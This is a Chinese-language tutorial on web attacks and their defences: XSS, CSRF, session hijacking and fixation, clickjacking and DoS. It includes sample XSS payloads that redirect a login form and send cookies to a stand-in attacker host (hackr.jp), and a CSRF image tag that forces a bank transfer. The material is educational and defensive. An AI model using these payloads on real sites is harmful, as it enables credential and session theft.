一、跨站腳本攻擊（XSS） 跨站腳本攻擊是指通過存在安全漏洞的Web網站註冊用戶的瀏覽器運行非法的HTML標簽或JavaScript進行的一種攻擊。動態創建的HTML部分有可能隱藏著安全漏洞。就這樣，當攻擊者編寫腳本，設下陷阱，用戶在自己的瀏覽器上運行時，一不小心就會受到被動攻擊。 跨站腳本攻擊有可 ...
一、跨站腳本攻擊（XSS）
跨站腳本攻擊是指通過存在安全漏洞的Web網站註冊用戶的瀏覽器運行非法的HTML標簽或JavaScript進行的一種攻擊。動態創建的HTML部分有可能隱藏著安全漏洞。就這樣，當攻擊者編寫腳本，設下陷阱，用戶在自己的瀏覽器上運行時，一不小心就會受到被動攻擊。
跨站腳本攻擊有可能造成以下影響：
- 利用虛假信息騙取用戶個人信息
- 利用腳本竊取用戶的Cookie值，被害人在不知情的情況下，幫攻擊者發送惡意請求。
- 顯示偽造的文章或圖片。
跨站腳本攻擊案例
1. 在動態生成的HTML處發生
在編輯個人信息的頁面處輸入<s>Username</s>，此時的確認界面上，瀏覽器會把用戶輸入的<s>解析成HTML標簽，然後顯示出刪除線，刪除線的顯示不會造成太大的不利影響，但如果換成使用<script>標簽將會帶來不可估量的影響。
2. 利用預先設置的陷阱觸發的被動攻擊
當通過地址欄中的URL的查詢欄位指定ID時，相當於在表單內自動填寫字元串的功能，此時隱藏著可執行跨站腳本攻擊的漏洞。如果攻擊者創建嵌入惡意代碼的URL。並隱藏植入事先準備好的欺詐郵件中或Web頁面內，誘使用戶去點擊該URL。
http://example.jp/login?ID="><script>var+
f=document.getElementById("login");+
f.action="http://hackr.jp/pwget";+
f.method="get";</script><span+s="
瀏覽器打開該URL後，直觀感覺沒產生什麼影響，但設置好的腳本卻偷偷開始運行了。當用戶在表單內輸入ID和密碼後，就會直接發送到攻擊者的網站，導致個人登陸信息被竊取。之後，ID及密碼會傳給該正規網站，而在接下來仍然是按正常登陸的步驟，用戶很難意識到自己的登陸信息已遭泄露。
3. 對用戶Cookie的竊取攻擊
//xss.js
var content=escape(document.cookies); document.write("<img src='http://hackr.jp/?'"); document.write(content); document.write(">");
<script src="http://hackr.jp/xss.js"></script>
在存在可跨站腳本攻擊安全漏洞的Web應用上執行上面這段Javascript程式，即可訪問到該Web應用所處功能變數名稱下的Cookie信息。然後這些信息就會發送至攻擊者的Web網站，記錄在他的登陸日誌中。這樣，攻擊者就可以竊取到用戶的Cookie信息了。
http://example.jp/login?ID="><script src='http://hackr.jp/xss.js'></script>"
防禦方案：
- 設置Cookie的HttpOnly屬性，它使javascript腳本無法獲得Cookie
Set-Cookie: name=value; HttpOnly
設置後，通常還可以從Web頁面對Cookie進行讀取操作。但使用Javascript的document.cookie就無法讀取附加HttpOnly屬性後的Cookie內容了。
- 首部欄位X-XSS-Protection
X-XSS-Protection: 1
該首部欄位是HTTP響應首部，它是針對跨站腳本攻擊的一種對策，用於控制瀏覽器XSS的防護機制的開關。0：將XSS過濾設置成無效狀態。1：將XSS過濾設置成有效狀態。
- 過濾或移除特殊的HTML標簽，如<script><iframe>，<、>、"等用實體<、>、"替代。
- 對數據進行HTML Encode處理
用戶提交的數據進行HTML編碼，將相應的符號轉換為實體名稱再進行下一步處理。
- 過濾JavaScript事件的標簽。例如"onclick="，"onfocus"等等。
- 表單數據規定值的類型，例如年齡只能為int，name只能為字母數字下劃線組合
二、跨站點請求偽造（XSRF）
跨站點請求偽造攻擊是指攻擊者通過設置好的陷阱，強制對已完成認證的用戶進行非預期的個人信息或設定信息等某些狀態更新。
跨站點請求偽造可能造成如下影響：
- 利用已通過認證的用戶許可權更新設定信息等
- 利用已通過認證的用戶許可權購買商品、虛擬貨幣轉賬等
- 利用已通過認證的用戶許可權在留言板上發表評論
跨站點請求偽造的攻擊案例
1. 銀行轉賬
受害者 Bob 在銀行有一筆存款，通過對銀行的網站發送請求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下，該請求發送到網站後，伺服器會先驗證該請求是否來自一個合法的 session，並且該 session 的用戶 Bob 已經成功登陸。
黑客 Mallory 自己在該銀行也有賬戶，他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己發送一個請求給銀行：http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob，他不能通過安全認證，因此該請求不會起作用。
這時，Mallory 想到使用 CSRF 的攻擊方式，他先自己做一個網站，在網站中放入如下代碼： src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”，並且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時，上述 url 就會從 Bob 的瀏覽器發向銀行，而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行伺服器。大多數情況下，該請求會失敗，因為他要求 Bob 的認證信息。但是，如果 Bob 當時恰巧剛訪問他的銀行後不久，他的瀏覽器與銀行網站之間的 session 尚未過期，瀏覽器的 cookie 之中含有 Bob 的認證信息。這時，悲劇發生了，這個 url 請求就會得到響應，錢將從 Bob 的賬號轉移到 Mallory 的賬號，而 Bob 當時毫不知情。等以後 Bob 發現賬戶錢少了，即使他去銀行查詢日誌，他也只能發現確實有一個來自於他本人的合法請求轉移了資金，沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢後逍遙法外。
2. 留言板功能
在留言板系統上 ，受害者用戶A是已認證狀態，在他的瀏覽器中的Cookie持有已認證的會話ID
GET/HTTP/1.1
Host: example.com
Cookie: sid=1234567890
攻擊者在留言板上發表含有惡意代碼的評論
<img src="http://example.com/msg?q=你好">
設置好後一旦用戶訪問，即會發送在留言板上發表非主觀行為產生的評論的請求的陷阱。用戶A的瀏覽器在完成陷阱中的請求後，留言板上也就會留下那條評論。用戶A的瀏覽器中的Cookie持有已認證的會話ID，利用用戶A的許可權執行發表動作。
GET/msg?q=你好 HTTP/1.1
Host: example.com
Cookie: sid=1234567890
防禦方案
- 驗證HTTP Referer欄位
首部欄位Referer會告知伺服器請求的原始資源的URI。通常，訪問一個安全受限頁面的請求來自於同一網站，比如訪問http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，用戶必須首先登陸bank.example功能變數名稱開頭的地址。然後通過點擊頁面上的按鈕來觸發轉賬事件。這時，該轉帳請求的 Referer 值就會是轉賬按鈕所在的頁面的 URL，通常是以 bank.example 功能變數名稱開頭的地址。而如果黑客要對銀行網站實施 CSRF 攻擊，他只能在他自己的網站構造請求，當用戶通過黑客的網站發送請求到銀行時，該請求的 Referer 是指向黑客自己的網站。因此，要防禦 CSRF 攻擊，銀行網站只需要對於每一個轉賬請求驗證其 Referer 值，如果是以 bank.example 開頭的功能變數名稱，則說明該請求是來自銀行網站自己的請求，是合法的。如果 Referer 是其他網站的話，則有可能是黑客的 CSRF 攻擊，拒絕該請求。
這種方法的顯而易見的好處就是簡單易行，網站的普通開發人員不需要操心 CSRF 的漏洞，只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。特別是對於當前現有的系統，不需要改變當前系統的任何已有代碼和邏輯，沒有風險，非常便捷。
然而，這種方法並非萬無一失。Referer 的值是由瀏覽器提供的，雖然 HTTP 協議上有明確的要求，但是每個瀏覽器對於 Referer 的具體實現可能有差別，並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法，就是把安全性都依賴於第三方（即瀏覽器）來保障，從理論上來講，這樣並不安全。事實上，對於某些瀏覽器，比如 IE6 或 FF2，目前已經有一些方法可以篡改 Referer 值。如果 bank.example 網站支持 IE6 瀏覽器，黑客完全可以把用戶瀏覽器的 Referer 值設為以 bank.example 功能變數名稱開頭的地址，這樣就可以通過驗證，從而進行 CSRF 攻擊。
即便是使用最新的瀏覽器，黑客無法篡改 Referer 值，這種方法仍然有問題。客戶端一般都會發送Referer首部欄位給伺服器。但當直接在瀏覽器的地址欄中輸入URI，原始資源的URI中的查詢字元串可能含有ID和密碼等保密信息，要是寫進Referer轉發給其他伺服器，則有可能導致保密信息的泄漏。除此之外，由於 Referer 值會記錄下用戶的訪問來源，有些用戶認為這樣會侵犯到他們自己的隱私權，特別是有些組織擔心 Referer 值會把組織內網中的某些信息泄露到外網中。因此，用戶自己可以設置瀏覽器使其在發送請求時不再提供 Referer。當他們正常訪問銀行網站時，網站會因為請求沒有 Referer 值而認為是 CSRF 攻擊，拒絕合法用戶的訪問。
- 在請求地址中添加Token並驗證
CSRF 攻擊之所以能夠成功，是因為黑客可以完全偽造用戶的請求，該請求中所有的用戶驗證信息都是存在於 cookie 中，因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的 cookie 來通過安全驗證。要抵禦 CSRF，關鍵在於在請求中放入黑客所不能偽造的信息，並且該信息不存在於 cookie 之中。可以在 HTTP 請求中以參數的形式加入一個隨機產生的 token，併在伺服器端建立一個攔截器來驗證這個 token，如果請求中沒有 token 或者 token 內容不正確，則認為可能是 CSRF 攻擊而拒絕該請求。
這種方法要比檢查 Referer 要安全一些，token 可以在用戶登陸後產生並放於 session 之中，然後在每次請求時把 token 從 session 中拿出，與請求中的 token 進行比對，但這種方法的難點在於如何把 token 以參數的形式加入請求。對於 GET 請求，token 將附在請求地址之後，這樣 URL 就變成 http://url?csrftoken=tokenvalue。 而對於 POST 請求來說，要在 form 的最後加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>，這樣就把 token 以參數的形式加入請求了。但是，在一個網站中，可以接受請求的地方非常多，要對於每一個請求都加上 token 是很麻煩的，並且很容易漏掉，通常使用的方法就是在每次頁面載入時，使用 javascript 遍歷整個 dom 樹，對於 dom 中所有的 a 和 form 標簽後加入 token。這樣可以解決大部分的請求，但是對於在頁面載入之後動態生成的 html 代碼，這種方法就沒有作用，還需要程式員在編碼時手動添加 token。
該方法還有一個缺點是難以保證 token 本身的安全。特別是在一些論壇之類支持用戶自己發表內容的網站，黑客可以在上面發佈自己個人網站的地址。由於系統也會在這個地址後面加上 token，黑客可以在自己的網站上得到這個 token，並馬上就可以發動 CSRF 攻擊。為了避免這一點，系統可以在添加 token 的時候增加一個判斷，如果這個鏈接是鏈到自己本站的，就在後面添加 token，如果是通向外網則不加。不過，即使這個 csrftoken 不以參數的形式附加在請求之中，黑客的網站也同樣可以通過 Referer 來得到這個 token 值以發動 CSRF 攻擊。這也是一些用戶喜歡手動關閉瀏覽器 Referer 功能的原因。
- 在HTTP頭中自定義屬性並驗證
這種方法也是使用 token 併進行驗證，和上一種方法不同的是，這裡並不是把 token 以參數的形式置於 HTTP 請求之中，而是把它放到 HTTP 頭中自定義的屬性里。通過 XMLHttpRequest 這個類，可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性，並把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便，同時，通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的地址欄，也不用擔心 token 會透過 Referer 泄露到其他網站中去。
然而這種方法的局限性非常大。XMLHttpRequest 請求通常用於 Ajax 方法中對於頁面局部的非同步刷新，並非所有的請求都適合用這個類來發起，而且通過該類請求得到的頁面不能被瀏覽器所記錄下，從而進行前進，後退，刷新，收藏等操作，給用戶帶來不便。另外，對於沒有進行 CSRF 防護的遺留系統來說，要採用這種方法來進行防護，要把所有請求都改為 XMLHttpRequest 請求，這樣幾乎是要重寫整個網站，這代價無疑是難以令人接受的。
三、Session攻擊
1. 會話劫持攻擊
會話劫持（Session Hijack）是指攻擊者通過某種手段拿到了用戶的會話ID，並非法使用此會話ID偽裝成用戶，達到攻擊的目的。
具備認證功能的Web應用，使用會話ID的會話管理機制，作為管理認證狀態的主流方式。會話ID中記錄客戶端的Cookie等信息，服務端將會話ID與認證狀態進行一對一匹配管理。
有下麵幾種攻擊者獲取會話ID的途徑。
- 通過非正規的生成方法推測會話ID
- 通過竊聽或XSS攻擊盜取會話ID
- 通過會話固定攻擊（Session Fixation）強行獲取會話ID
攻擊步驟：
會話劫持攻擊案例
以認證功能為例，通過會話管理機制，會將成功認證的用戶的會話ID（SID）保存在用戶瀏覽器的Cookie中。
攻擊者在得知該Web網站存在可跨站攻擊（XSS）的安全漏洞後，就設置好用Javascript腳本調用document.cookie以竊取Cookie信息的陷阱，一旦用戶踏入了這個陷阱，攻擊者就能獲取含有會話ID的Cookie。攻擊者拿到用戶的會話ID後，往自己的瀏覽器的Cookie中設置該會話ID，即可偽裝成會話ID遭竊的用戶，訪問Web網站了。
會話劫持防護：
- 關閉透明化的SessionID。透明化的SessionID指當瀏覽器中的HTTP請求沒有使用Cookie來存放SessionID時，SessionID則使用URL來傳遞。
- 設置HttpOnly。通過設置Cookie的HttpOnly，可以防止客戶端腳本訪問這個Cookie，從而有效的防止XSS攻擊，進而防止Cookie的非法竊取。
- 驗證HTTP頭部信息。在http訪問頭文件中：[Accept-Charset、Accept-Encoding、Accept-Language、User-Agent]，一般瀏覽器發出的頭部不會改變。
確保User-Agent頭部信息一致的確是有效的，如果會話標識通過cookie傳遞，攻擊者能取得會話標識，他同時也能取得其它HTTP頭部。由於cookie暴露與瀏覽器漏洞或跨站腳本漏洞相關，受害者需要訪問攻擊者的網站並暴露所有頭部信息。則攻擊者只需重建頭部即可進行攻擊了。
- 需要先做好XSS防禦。
2. 會話固定攻擊
對以竊取目標會話ID為主要攻擊手段的會話劫持而言，會話固定攻擊（Session Fixation）攻擊會強制用戶使用攻擊者指定的會話ID，屬於被動攻擊。讓合法用戶使用黑客預先設置的SessionID進行登錄，從而使Web不再進行生成新的SessionID，從而導致黑客設置的SessionID變成了合法橋梁。會話固定也可以看成是會話劫持的一種類型，原因是會話固定的攻擊主要目的同樣是獲得目標用戶的合法會話，不過會話固定還可以是強迫受害者使用攻擊者設定的一個有效會話，以此來獲得用戶的敏感信息。
攻擊步驟：
會話固定攻擊案例：
仍以認證功能為例，對Web網站的認證功能，會在認證前發佈一個會話ID，若認證成功，就會在伺服器內改變認證狀態。
攻擊者準備陷阱，先訪問Web網站拿到會話ID（假設是SID=f5d1278e8109)，此刻，會話ID在伺服器上的記錄仍然是未認證狀態；攻擊者設置好強制用戶使用該會話ID的陷阱，並等待用戶拿著這個會話ID前去認證。一旦用戶觸發陷阱並完成認證，會話ID（SID=f5d1278e8109）在伺服器上的狀態就會被記錄下來；攻擊者估計用戶差不多已經觸發陷阱後，再利用之前這個會話ID訪問網站，由於該會話ID目前已是用戶認證狀態，於是攻擊者作為用戶的身份順利登陸網站。
會話固定防禦
1. 每當用戶登陸的時候就進行重置SessionID
2. SessionID閑置過久時，進行重置SessionID
3. 大部分防止會話劫持的方法對固定攻擊同樣有效。如設置HttpOnly、關閉透明化SessionID、User-Agent驗證、Token校驗等。
四、點擊劫持
點擊劫持（Clickjacking）是指利用透明的按鈕或鏈接做成陷阱，覆蓋在Web頁面之上。然後誘使用戶在不知情的情況下，點擊那個鏈接訪問內容的一種攻擊手段。這種行為又稱為界面偽裝。已設置陷阱的Web頁面，錶面上內容並無不妥，但早已埋入誘導鏈接。當用戶點擊到透明的按鈕時，實際上是點擊了已指定透明屬性元素的iframe頁面。
防禦方法：
- 利用header("X-Frame-Options:DENY");
DENY：表示拒絕瀏覽器載入任何frame頁面，
SAMEORIGIN：表示frame頁面地址只能是同源功能變數名稱下的頁面，
ALLOW-FROM origin可自定義允許frame載入頁面地址。
- 通過寫一段javascript代碼來禁止iframe的嵌套，這種方法叫做frame busting。
if ( top.location != location ) { top.location = self.location; } //常見的frame busting有一下方式： if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent && !(self.parent===self)) && (self.parent.frames.le ngth!=0)) top.location = self.location top.location.href = document.location.href top.location.href = self.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location = location top.location.replace(document.location) top.location.replace('URL') top.location.href = document.location top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location parent.location = self.location;
由於這種方法存在被繞過的可能性，因此最好用第一種方法。
五、DOS攻擊
DOS攻擊(Denial of Service attack)是一種讓運行中的服務呈停止狀態的攻擊。有時也叫做服務停止攻擊或拒絕服務攻擊。DOS攻擊的對象不僅限於Web網站，還包括網路設備及伺服器等。主要有以下兩種DOS攻擊方式：
1. 集中利用訪問請求造成資源過載，資源用盡的同時，實際上服務也就處於停止狀態。
2.通過攻擊安全漏洞使服務停止
參考：
https://blog.csdn.net/stpeace/article/details/53512283
